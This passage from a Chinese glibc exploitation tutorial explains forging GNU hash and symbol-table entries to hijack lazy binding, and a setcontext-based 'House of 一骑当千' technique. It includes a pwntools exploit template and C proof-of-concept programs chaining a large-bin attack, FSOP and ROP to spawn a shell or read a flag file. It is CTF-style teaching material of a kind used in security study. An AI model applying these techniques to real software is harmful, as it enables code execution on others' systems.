    elf_gnu_hash_nbucketssymoffset符号表下标与 bucket 中对应 hash 值的下标
    elf_gnu_hash_bitmask_nwordsbloom_sizebloom 中元素的数量。
    elf_gnu_hash_shiftbloom_shift检验哈希值是否存在时验证的第二段 6 bit 的起始位置。
    elf_gnu_hash_indexesbloom类似 bitmap,用来判断哈希值是否在哈希表中存在,结果不一定准确,只是一种剪枝优化。
    elf_gnu_hash_bucketbuckets哈希值模 nbucket 作为下标对应的 buckets 项存放着 chain 中模 nbucket 相同的哈希值中第一个的下标。
    elf_gnu_hash_chainchain存储着所有符号对应的哈希值,模 nbucket 相同的哈希值存放在一起。
  • ELF Symbol Table:Elf64_Sym 结构体数组,记录了符号的一些相关信息。

    typedef struct
    {
      Elf64_Word	st_name;		/* Symbol name (string tbl index) */
      unsigned char	st_info;		/* Symbol type and binding */
      unsigned char st_other;		/* Symbol visibility */
      Elf64_Section	st_shndx;		/* Section index */
      Elf64_Addr	st_value;		/* Symbol value */
      Elf64_Xword	st_size;		/* Symbol size */
    } Elf64_Sym;
    
    • st_name:符号名称在字符串表中的偏移量。
    • st_info:符号类型和绑定信息,低 4 比特必须等于 STT_NOTYPE(0)STT_OBJECT(1)STT_FUNC(2)STT_COMMON(5)STT_TLS(6)STT_GNU_IFUNC(10) 中的其中一个。
    • st_other:保留字段,通常为 0 。
    • st_shndx:通常为符号所在节的索引。不能为 SHN_UNDEF(0),因为 SHN_UNDEF 表示该符号未定义但是在该文件中被引用到,即该符号可能定义在其他目标文件中。
    • st_value:符号的在该模块中的 RVA ,可以被我们伪造为该模块中的某个地址(例如 one_gadget)对应的 RVA 从而劫持程序执行流程。
    • st_size:符号的大小,这里指的是要重定位的 got 表项的大小,即 8 。不过由于该成员在符号查询过程中未被使用因此不伪造该成员也没影响。
  • ELF String Table:符号名称对应的字符串构成的字符串表,需要伪造 Elf64_Sym 中的 st_name 为查询的函数的名称对应字符串与字符串表起始地址的偏移。因为字符串表要被用到因此不能破坏该结构。如果被破坏需要在对应位置伪造字符串。

延迟绑定中查找函数地址的过程(具体过程参考 pwntools 的依赖库 elftools 中的 GNUHashTable 类中的 get_symbol 函数):

  • _dl_lookup_symbol_x 函数中,调用 dl_new_hash 函数计算要调用的函数的名称的哈希值。
    static uint_fast32_t
    dl_new_hash(const char *s) {
        uint_fast32_t h = 5381;
        for (unsigned char c = *s; c != '\0'; c = *++s)
            h = h * 33 + c;
        return h & 0xffffffff;
    }
    
    const uint_fast32_t new_hash = dl_new_hash(undef_name);
    
  • do_lookup_x 函数中,将 new_hash 除以 __ELF_NATIVE_CLASS(64) 关于 bloom_size 取模的结果作为 bloom 的下标取出对应的 bloom 的值 bitmask_word
    ElfW(Addr) bitmask_word = bitmask[(new_hash / __ELF_NATIVE_CLASS) & map->l_gnu_bitmask_idxbits]; 
    
  • bitmask_word 作一个验证,要求 bitmask_word 的第 new_hash % 64(new_hash >> bloom_shift) % 64 位都要置位,这里判断了两段 6 bit 数据提升准确率(如果前面计算下标没有 bloom_size 取模的限制则这里只需判断低 6 bit 即可,而这里判断的两段 6 bit 还会相互影响,总之是玄学优化)。 在伪造时只需要将 bloom 对应位置保留原数据即可。
    unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
    unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift) & (__ELF_NATIVE_CLASS - 1));
    
    if (__glibc_unlikely((bitmask_word >> hashbit1) & (bitmask_word >> hashbit2) & 1))
    
  • new_hashnbuckets 取模的结果作为下标取出 buckets 中的对应项 bucket 。位置时保留原数据即可。
    Elf32_Word bucket = map->l_gnu_buckets[new_hash % map->l_nbuckets];
    
  • 如果 bucket 不为空则从 bucket 作为的下标开始向后遍历 chain 直到 chain[bucket]new_hash 除最低位外相同时计算符号表下标为 bucket - symoffset 。如果找到则调用 check_match 查询符号表得到目标函数的 RVA 。伪造时只需在 chain[bucket] 上伪造 new_hash 即可。
    if (bucket != 0) {
        const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];
    
        do
            if (((*hasharr ^ new_hash) >> 1) == 0) {
                symidx = ELF_MACHINE_HASH_SYMIDX(map, hasharr);
                sym = check_match(undef_name, ref, version, flags,
                                  type_class, &symtab[symidx], symidx,
                                  strtab, map, &versioned_sym,
                                  &num_versions);
                if (sym != NULL)
                    goto found_it;
            }
        while ((*hasharr++ & 1u) == 0);
    }
    

模板:

add_chunk(0, 0x40000 - 0x2000)

edit_chunk(0, n64(-8), p64(0x41002 + 0x5000 + 0x4000))

delete_chunk(0)
add_chunk(0, 0x41000 * 2 + 0x4000)

base_off = 0x7dff0
one_gadget = [0xcbd71, 0xcbd74, 0xcbd77][2]

gnu_hash_section = libc.get_section_by_name('.gnu.hash')
dynsym_section = libc.get_section_by_name('.dynsym')
dynstr_section = libc.get_section_by_name('.dynstr')

namehash = gnu_hash_section.gnu_hash('exit')

bloom_off = gnu_hash_section['sh_addr'] + 4 * gnu_hash_section._wordsize
bucket_off = bloom_off + gnu_hash_section.params['bloom_size'] * gnu_hash_section._xwordsize

bloom_elem_idx = (namehash / gnu_hash_section.elffile.elfclass) % gnu_hash_section.params['bloom_size']
bloom_elem_off = bloom_off + gnu_hash_section._xwordsize * bloom_elem_idx
bloom_elem_val = gnu_hash_section.params['bloom'][bloom_elem_idx]

bucket_elem_idx = namehash % gnu_hash_section.params['nbuckets']
bucket_elem_off = bucket_off + bucket_elem_idx * gnu_hash_section._wordsize
bucket_elem_val = gnu_hash_section.params['buckets'][bucket_elem_idx]

hasharr_off = gnu_hash_section._chain_pos + (bucket_elem_val - gnu_hash_section.params['symoffset']) * gnu_hash_section._wordsize

sym_off = dynsym_section['sh_offset'] + bucket_elem_val * dynsym_section['sh_entsize']

sym_value = ''
sym_value += p32(libc.search('exit\x00').next() - dynstr_section['sh_offset'])  # st_name
sym_value += p8(0x12)  # st_info
sym_value += p8(0)  # st_other
sym_value += p16(1)  # st_shndx
sym_value += p64(one_gadget)  # st_value
sym_value += p8(8)  # st_size

edit_chunk(0, base_off + bloom_elem_off, p64(bloom_elem_val))
edit_chunk(0, base_off + bucket_elem_off, p32(bucket_elem_val))
edit_chunk(0, base_off + hasharr_off, p64(namehash))
edit_chunk(0, base_off + sym_off, sym_value)

# gdb.attach(p, "b do_lookup_x\nc")
# pause()

p.sendlineafter("choice:", "5")

p.interactive()

poc 如下:

// gcc 1.c -o 1 -g  -Wl,-z,lazy
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

int main() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    char *strptr = mmap((void *) 0xdeadb000, 0x1000, 6, 0x22, -1, 0);
    strcpy(strptr, "/bin/sh");

    puts("[*] step1: allocate a chunk ---> void* ptr = malloc(0x40000);");
    size_t *ptr = (size_t *) malloc(0x40000);

    size_t sz = ptr[-1];
    printf("[*] ptr address: %p, chunk size: %p\n", ptr, (void *) sz);

    puts("[*] step2: change the size of the chunk ---> ptr[-1] += 0x5000 + 0x4000;");
    ptr[-1] += 0x5000 + 0x4000;

    puts("[*] step3: free ptr and steal heap from glibc ---> free(ptr);");
    free(ptr);

    puts("[*] step4: retrieve heap ---> ptr = malloc(0x41000 * 2+  0x4000);");
    ptr = malloc(0x41000 * 2 + 0x4000);

    sz = ptr[-1];
    printf("[*] ptr address: %p, chunk size: %p\n", ptr, (void *) sz);

    // 当前ptr到原有libc基地址的偏移
    size_t base_off = 0x7dff0;
    // 以下地址均是相对于libc基地址的偏移
    size_t system_off = 0x48a20;
    size_t bitmask_word_off = 0x4070;
    size_t bucket_off = 0x4198;
    size_t exit_sym_st_value_off = 0x81d8 + 8;
    size_t hasharr_off = 0x5264;

    puts("[*] step5: set essential data for dl_runtime_resolve");

    *(size_t *) ((char *) ptr + base_off + bitmask_word_off) = 0xf000028c0200130eul;
    puts("[*] set bitmask_word to 0xf000028c0200130eul");

    *(unsigned int *) ((char *) ptr + base_off + bucket_off) = 0x86u;
    puts("[*] set bucket to 0x86u");

    *(size_t *) ((char *) ptr + base_off + exit_sym_st_value_off) = system_off;
    puts("[*] set exit@sym.st_value to system_off 0x52290");

    *(size_t *) ((char *) ptr + base_off + exit_sym_st_value_off - 8) = 0xf00120000174cul;
    puts("[*] set other exit@sym members");

    *(size_t *) ((char *) ptr + base_off + hasharr_off) = 0x7c967e3ful;
    puts("[*] set hasharr to 0x7c967e3ful");

    puts("[*] step6: get shell ---> exit(\"/bin/sh\")");
    exit((size_t) strptr);
}

House of 一骑当千

通常我们利用 setcontext + 53 通过 rdi 指向的内存给寄存器赋值,但是从 glibc-2-29 开始,setcontext 通过 rdx 指向的内存给寄存器赋值。

通常情况可以采用 gadget 对 rdx 赋值然后跳转到 setcontext gadget 继续执行,但使用 gadget 需要我们能控制 rdi 寄存器指向的内存的前几个字节,并且未来的 glibc 的 setcontext 也可能不再使用 rdx 寄存器。

因此我们需要一个通用的方法比如直接调用 setcontext 函数对寄存器赋值,而这中直接调用 setcontext 的方法就是 House of 一骑当千。

setcontext 函数原型为 int setcontext(const ucontext_t *ucp) ,其中 ucontext_t 结构体定义如下:

struct _libc_fpstate
{
  /* 64-bit FXSAVE format.  */
  __uint16_t		__ctx(cwd);
  __uint16_t		__ctx(swd);
  __uint16_t		__ctx(ftw);
  __uint16_t		__ctx(fop);
  __uint64_t		__ctx(rip);
  __uint64_t		__ctx(rdp);
  __uint32_t		__ctx(mxcsr);
  __uint32_t		__ctx(mxcr_mask);
  struct _libc_fpxreg	_st[8];
  struct _libc_xmmreg	_xmm[16];
  __uint32_t		__glibc_reserved1[24];
};



/* Userlevel context.  */
typedef struct ucontext_t
  {
    unsigned long int __ctx(uc_flags);
    struct ucontext_t *uc_link;
    stack_t uc_stack;
    mcontext_t uc_mcontext;
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
    __extension__ unsigned long long int __ssp[4];
  } ucontext_t;

在这里插入图片描述
setcontext函数中,除了对mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem __ssp这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。

  • uc_mcontext

    /* Context to describe whole processor state.  */
    typedef struct
      {
        gregset_t __ctx(gregs);
        /* Note that fpregs is a pointer.  */
        fpregset_t __ctx(fpregs);
        __extension__ unsigned long long __reserved1 [8];
    } mcontext_t;
    

    这个就是存储寄存器的结构体,也是我们平时setcontext+53所使用的地方。有关数据设置和传统利用setcontext+53时一样即可。

    注意 fpregs 指针需要指向一块可读写内存。

    /* Restore the floating-point context.  Not the registers, only the
           rest.  */
        movq    oFPREGS(%rdx), %rcx
        fldenv    (%rcx)
    
  • uc_sigmask

    这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。

  • __ssp

    这个所对应的步骤为setcontext中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0

通过上述的设置就可以直接调用 setcontext 设置寄存器。例如 house of 魑魅魍魉 + house of 一骑当千 poc 如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ucontext.h>

int main() {
  // leak libc_base
  size_t puts_addr = (size_t)&puts;
  size_t libc_base = puts_addr - 0x77040;

  // large bin attack: _IO_list_all -> large
  size_t IO_list_all_addr = libc_base + 0x1d2660;
  size_t *large = malloc(0x620);
  malloc(0x18);
  size_t *unsorted = malloc(0x610);
  free(large);
  malloc(0x700);
  free(unsorted);
  large[3] = IO_list_all_addr - 0x20;
  malloc(0x20);

  size_t *fake_helper_file = large - 2;
  size_t *fake_wide_data = fake_helper_file + 28;
  size_t *fake_put_stream = fake_helper_file + 6;
  size_t *write_base = fake_helper_file + 60;
  size_t *fake_ucontext = fake_helper_file + 62;
  size_t *rop = fake_ucontext + 190;

  size_t memcpy_got_addr = libc_base + 0x1d1040;
  size_t IO_helper_jumps_addr = libc_base + 0x1cdb20;
  size_t IO_str_jumps_addr = libc_base + 0x1ce720;

  fake_helper_file[4] = 0;                        // _IO_write_base
  fake_helper_file[5] = 1;                        // _IO_write_ptr
  fake_helper_file[17] = (size_t)large + 0x1500;  // _lock -> rw memory
  fake_helper_file[20] = (size_t)fake_wide_data;  // _wide_data
  fake_helper_file[27] = IO_helper_jumps_addr;    // vtable -> _IO_helper_jumps
  fake_helper_file[57] = (size_t)fake_put_stream; // _put_stream

  fake_wide_data[3] = (size_t)write_base; // _IO_write_base -> write_base
  fake_wide_data[4] =
      (size_t)write_base + 0x80 * 4; // _IO_write_base -> write_base +

  fake_put_stream[0] = 0x400; // _flags
  fake_put_stream[1] =
      (size_t)&write_base[2] - 1;               // _IO_read_ptr -> &ucontext - 1
  fake_put_stream[4] = memcpy_got_addr - 0x20;  // _IO_write_base
  fake_put_stream[5] = memcpy_got_addr;         // _IO_write_ptr
  fake_put_stream[6] = memcpy_got_addr + 0x28;  // _IO_write_end
  fake_put_stream[7] = 0;                       // _IO_buf_base
  fake_put_stream[8] = (size_t)-1;              // _IO_buf_end
  fake_put_stream[17] = (size_t)large + 0x1500; // _lock -> rw memory
  fake_put_stream[27] = IO_str_jumps_addr;      // vtable -> _IO_str_jumps

  write_base[0] = (size_t)setcontext;
  strcpy((char *)&write_base[1], "./flag");

  memset(fake_ucontext, 0, 968);
  size_t pop_rdi_ret = libc_base + 0x2aa82;
  size_t pop_rsi_ret = libc_base + 0x34bfa;
  size_t pop_rax_ret = libc_base + 0x41f13;
  size_t syscall_ret = libc_base + 0x85596;
  size_t ret = pop_rax_ret + 1;

  fake_ucontext[13] = (size_t)&write_base[1]; // rdi -> "./flag"
  fake_ucontext[14] = 0;                      // rsi = 0
  fake_ucontext[17] = 0x100;                  // edx = 0x100
  fake_ucontext[20] = (size_t)rop;            // rsp -> rop
  fake_ucontext[21] = ret;                    // rip -> ret
  fake_ucontext[28] = (size_t)large + 0x1500; // fpregs -> rw memory

  rop[0] = pop_rax_ret;
  rop[1] = 2;
  rop[2] = syscall_ret;
  rop[3] = pop_rax_ret;
  rop[4] = 0;
  rop[5] = pop_rdi_ret;
  rop[6] = 3;
  rop[7] = pop_rsi_ret;
  rop[8] = (size_t)write_base;
  rop[9] = syscall_ret;
  rop[10] = pop_rax_ret;
  rop[11] = 1;
  rop[12] = pop_rdi_ret;
  rop[13] = 1;
  rop[14] = pop_rsi_ret;
  rop[15] = (size_t)write_base;
  rop[16] = syscall_ret;

  // FSOP
  exit(0);
}

与 IO_FILE 结合

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_sky123_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值